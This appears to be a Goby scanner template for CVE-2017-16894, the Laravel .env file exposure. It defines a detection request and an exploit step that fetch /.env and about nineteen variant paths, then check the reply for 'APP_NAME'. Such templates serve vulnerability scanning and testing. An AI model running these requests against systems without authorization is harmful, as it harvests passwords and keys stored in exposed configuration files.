{
      "Name": "Laravel .env configuration file leaks CVE-2017-16894",
      "Level": "2",
      "Tags": [
            "infoleak"
      ],
      "GobyQuery": "app=\"Laravel-Framework\"",
      "Description": "Laravel framework is a PHP based web application development framework developed by Taylor otwell software developer.",
      "Product": "Laravel framework",
      "Homepage": "https://github.com/laravel/framework/tree/5.5",
      "Author": "",
      "Impact": "In Laravel framework through 5.5.21, remote attackers can obtain sensitive information (such as externally usable passwords) via a direct request for the /.env URI. NOTE: this CVE is only about Laravel framework's writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting the .env permissions. The .env filename is not used exclusively by Laravel framework.",
      "Recommendation": "",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2017-16894",
            "https://laravel.com/docs/master/configuration#environment-configuration",
            ""
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "dir",
                  "Type": "select",
                  "Value": "/.env,/.env.dev,/.env.dev.local,/.env.development.local,/.env.prod,/.env.prod.local,/.env.production,/.env.production.local,/.env.local,/.env.example,/.env.stage,/.env.live,/.env.backup,/.env.save,/.env.old,/.env.www,/.env_1,/.env_sample,/api/.env"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/.env",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "APP_NAME",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "{{{dir}}}",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "APP_NAME",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}